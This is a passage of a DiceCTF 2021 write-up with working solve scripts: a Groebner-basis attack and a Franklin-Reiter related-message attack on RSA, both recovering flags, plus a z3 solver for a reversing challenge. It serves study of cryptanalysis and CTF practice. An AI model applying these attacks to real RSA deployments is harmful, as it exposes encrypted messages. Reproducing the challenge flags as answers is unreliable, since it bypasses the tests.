flag_head = flag_head.hex()

r = 17

data = open("output.txt","rb").readlines()
(n, y) = eval(data[0])
F = Zmod(n)
y = F(y)
enc = [F(i) for i in data[1:]]

m = dict()
for i in range(0x10):
    m[y ^ i] = i

P.<u, a, c> = PolynomialRing(F)

G = []
pol = u
# z = y ^ m * u ^ r
for i in range(len(flag_head)):
    g = pol ^ r - enc[i] / y ^ int(flag_head[i],16)
    G.append(g)
    pol = a * pol + c

B = Ideal(G).groebner_basis()
print(B)

flag = 0
# u = - x * c
# c ^ r = - y
# z / ( (- x) ^ r * - y) = z / ((u / c) ^ r * c ^ r) = z / (u ^ r)
pol = - B[1].monomial_coefficient(c) * c
for i in range(len(enc)):
    result = enc[i] / (pol.monomial_coefficient(c) ^ r * - B[0].constant_coefficient())
    flag <<= 4
    flag |= m[result]
    pol = - B[2].constant_coefficient() * pol + c

flag = long_to_bytes(flag)
print(flag)
# dice{gr:obner!_!}

plagiarism

This writeup is referenced from mystiz

Analysis

This challenge is and Related Message Attack on RSA:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Two agents, Blex and Kane, have simultaneously known very secret message and transmitted it to Center. You know following:
1) They used RSA with this public key
2) They sent exactly the same messages except the signatures (name appended, eg. "[message]Blex")
3) They did encryption this way:

m = int(message.encode("hex"), 16)
c = pow(m, e, N)

4) And here are cryptograms you have intercepted:

N = 25898966400928827905718377946331123070958718286581765316565582158865227877882475404853218079499084099440419144196215764927720893687968939899067275095801562867742359933997487928281899714724738097735994026225339488710478292473051567851786254924548138570069406420407124627567648479424564834446192417334669768477661434992797176428220265984651288944265998446714590797833756720922745187467388408600309665467669255896919554072379878017822219455974525233467767926938557154083882126002952139561283708342676308894318951822068027821029295524097544028901807902120777407151278396388621981625398417573347316888458337381776303199529

e = 1048577

ciphertext_Blex = 11140520553087800834883326476247582685177207584737264356946559762068509060522907835540767944557089926814767920501376431871780404000550271362410228709616559148950928004959648199391157781102695421411667843970881959939688515679415870087007797819271601359811630724878746762862603629420061133824605384527474682526549557804674160851967543475275374840169790764048711047622418045734436512050742433282306694490346907876574514077395835974083376649624559301087384766644865104383786285302561584731767419571603248493060257358632833957327996996960955767927114473513709882904104552609194519132931270741118197821776138632855021619178

ciphertext_Kane = 2922817623733019475805146570530296261205732600738503605503192845278422660686627490817081424885152809772315629265930072636690234953045955503581182067349322827011065359648958225896393305011175960879100475146203207801533980643261035226402857047007061320653920746872424363923515091038846823007819033456503365649022294092944985887626605207259444051959239244136999684366533551627508385114998024232490369665950339127904350803268889205463047713233591604324960184727360413931125906144631968128488876241314939855024305076160092193380013725939761970042406866169417457376487954247442308318888399299295082898238584625937490546472

Now tell me that secret message! (The answer for this task starts from 'dice{')

The difference from RuCTF Quals 2014: decrypt message is that e is bigger than before.

So the original method will fail due to runtime issues.

We can use HGCD instead of GCD to solve this challenge.

Exp

This code is written by the entire country of ireland in discord

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
import binascii
from Crypto.Util.number import *

def HGCD(p1, p2):
    deg1 = p1.degree()
    deg2 = p2.degree()
    
    m = deg1 // 2
    
    if deg2 <= deg1 / 2:
        return Matrix(R, [[1,0],[0,1]])

    p1_coeffs = p1.coefficients()
    b1 = R(p1_coeffs[m:])
    c1 = R(p1_coeffs[:m])

    p2_coeffs = p2.coefficients()
    b2 = R(p2_coeffs[m:])
    c2 = R(p2_coeffs[:m])

    M = HGCD(b1, b2)

    v = M * vector([p1, p2])
    d,e = v

    q,r = d.quo_rem(e)
    f = r
    U = Matrix(R, [[0,1], [1, -q]])

    m = m // 2

    e_coeffs = e.coefficients()
    g1 = R(e_coeffs[m:])
    h1 = R(e_coeffs[:m])

    f_coeffs = f.coefficients()
    g2 = R(f_coeffs[m:])
    h2 = R(f_coeffs[:m])


    S = HGCD(g1, g2)

    Result = S * U * M
    return Result


def GCD(p1, p2):
    q,r = p1.quo_rem(p2)
    if r == 0:
        return p2
    p1,p2 = p2, r
    
    M = HGCD(p1, p2)
    
    v = M * vector([p1, p2])
    b1, b2 = v
    
    q,r = b1.quo_rem(b2)
    
    if r == 0:
        return b2
    
    return GCD(b2, r)

def franklin_reiter(p1, p2):
    g = GCD(p1, p2)
    a0, a1 = g.coefficients()
    return Integer(-a0/a1)

N = 25898966400928827905718377946331123070958718286581765316565582158865227877882475404853218079499084099440419144196215764927720893687968939899067275095801562867742359933997487928281899714724738097735994026225339488710478292473051567851786254924548138570069406420407124627567648479424564834446192417334669768477661434992797176428220265984651288944265998446714590797833756720922745187467388408600309665467669255896919554072379878017822219455974525233467767926938557154083882126002952139561283708342676308894318951822068027821029295524097544028901807902120777407151278396388621981625398417573347316888458337381776303199529
e = 1048577
c1 = 11140520553087800834883326476247582685177207584737264356946559762068509060522907835540767944557089926814767920501376431871780404000550271362410228709616559148950928004959648199391157781102695421411667843970881959939688515679415870087007797819271601359811630724878746762862603629420061133824605384527474682526549557804674160851967543475275374840169790764048711047622418045734436512050742433282306694490346907876574514077395835974083376649624559301087384766644865104383786285302561584731767419571603248493060257358632833957327996996960955767927114473513709882904104552609194519132931270741118197821776138632855021619178
c2 = 2922817623733019475805146570530296261205732600738503605503192845278422660686627490817081424885152809772315629265930072636690234953045955503581182067349322827011065359648958225896393305011175960879100475146203207801533980643261035226402857047007061320653920746872424363923515091038846823007819033456503365649022294092944985887626605207259444051959239244136999684366533551627508385114998024232490369665950339127904350803268889205463047713233591604324960184727360413931125906144631968128488876241314939855024305076160092193380013725939761970042406866169417457376487954247442308318888399299295082898238584625937490546472
delta  = int(binascii.hexlify(b'Kane'), 16) - int(binascii.hexlify(b'Blex'), 16)

R.<x> = PolynomialRing(IntegerModRing(N))
p1 = x^e - c1
p2 = (x+delta)^e - c2

flag = franklin_reiter(p1, p2)
flag = long_to_bytes(flag)
print(flag)

Reverse

babymix

Analysis

Just use z3 to solve it.

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/env python
from z3 import *

a2 = []
for i in range(0,22):
    a2.append(BitVec('x'+str(i),9))
s = Solver()
s.add(a2[12] - a2[17] + a2[12] + a2[8] == 153)
s.add(a2[10] + a2[21] + (a2[19] ^ a2[2]) == 217)
s.add((a2[5] ^ a2[16]) + a2[16] + a2[3] + (a2[0] ^ a2[16]) == 232)
s.add(a2[10] + a2[3] + a2[3] - a2[19] + (a2[19] ^ a2[0]) == 328)
s.add(a2[10] - a2[8] + a2[2] - a2[19] == 74)
s.add(a2[17] - a2[1] + a2[4] + a2[11] + a2[17] - a2[9] == 166)
s.add(a2[14] + a2[10] + a2[18] - a2[9] + a2[5] + a2[10] == 413)
s.add(a2[5] - a2[16] + a2[8] - a2[12] + a2[17] - a2[13] + a2[11] - a2[2] + a2[1] + a2[21] == 98)
s.add((a2[19] ^ a2[13]) + a2[6] - a2[13] + a2[17] - a2[11] + (a2[16] ^ a2[12]) == 85)
s.add(a2[4] - a2[16] + (a2[2] ^ a2[7]) == 77)
s.add(a2[8] - a2[17] + a2[14] - a2[3] + (a2[8] ^ a2[14]) + a2[5] + a2[1] + a2[7] + a2[10] == 384)
s.add(a2[4] - a2[0] + a2[2] - a2[4] + a2[15] - a2[21] + a2[17] + a2[2] == 265)
s.add(a2[5] - a2[18] + a2[17] - a2[4] + a2[15] + a2[2] + a2[21] - a2[18] + a2[7] + a2[6] == 250)
s.add(a2[21] - a2[19] + a2[7] - a2[18] + a2[16] - a2[21] + (a2[12] ^ a2[18]) == 75)
s.add((a2[10] ^ a2[2]) + a2[2] + a2[7] + a2[20] + a2[13] + (a2[3] ^ a2[16]) + a2[9] + a2[6] == 621)
s.add(a2[8] - a2[3] + (a2[14] ^ a2[2]) + a2[11] + a2[0] + a2[1] - a2[19] == 283)
s.add(a2[16] - a2[14] + (a2[0] ^ a2[11]) + (a2[0] ^ a2[14]) + a2[13] - a2[19] == 106)
s.add(a2[19] + a2[10] + a2[10] + a2[19] + a2[0] - a2[20] + a2[3] - a2[18] == 297)
s.add(a2[0] - a2[15] + a2[20] + a2[18] == 156)
s.add(a2[13] - a2[8] + a2[10] - a2[20] + a2[3] - a2[17] == 85)
s.add(a2[3] - a2[17] + a2[19] + a2[4] + (a2[12] ^ a2[17]) + a2[10] - a2[2] == 160)
s.add(a2[11] - a2[21] + a2[12] - a2[10] == 36)
s.add((a2[18] ^ a2[19]) + a2[6] - a2[16] + (a2[5] ^ a2[16]) == 102)
s.add(a2[6] - a2[13] + (a2[10] ^ a2[15]) + a2[21] - a2[5] == -48)
s.add((a2[5] ^ a2[3]) + a2[12] - a2[11] + (a2[6] ^ a2[4]) == 29)
s.add(a2[6] - a2[14] + a2[9] - a2[2] + a2[8] - a2[15] + a2[21] - a2[11] == -109)
s.add(a2[19] - a2[7] + a2[0] + a2[16] + a2[11] + a2[17] == 361)
s.add(a2[3] + a2[15] + (a2[15] ^ a2[19]) == 296)

s.check()
m = s.model()
flag = ""
for i in a2:
    flag += chr(m[i].as_long())
print(flag)

References

https://ctf-wiki.org/pwn/linux/stackoverflow/medium-rop/#ret2csu

https://teamrocketist.github.io/2021/02/08/Pwn-DiceCTF2021-flippidy/

https://www.josephsurin.me/posts/2021-02-08-dicectf-2021-garbled

https://s3v3ru5.github.io/notes/DiceCTF2021#benaloh

https://priv.pub/posts/dicectf-2021/

https://mystiz.hk/posts/2021-02-15-dicectf-1/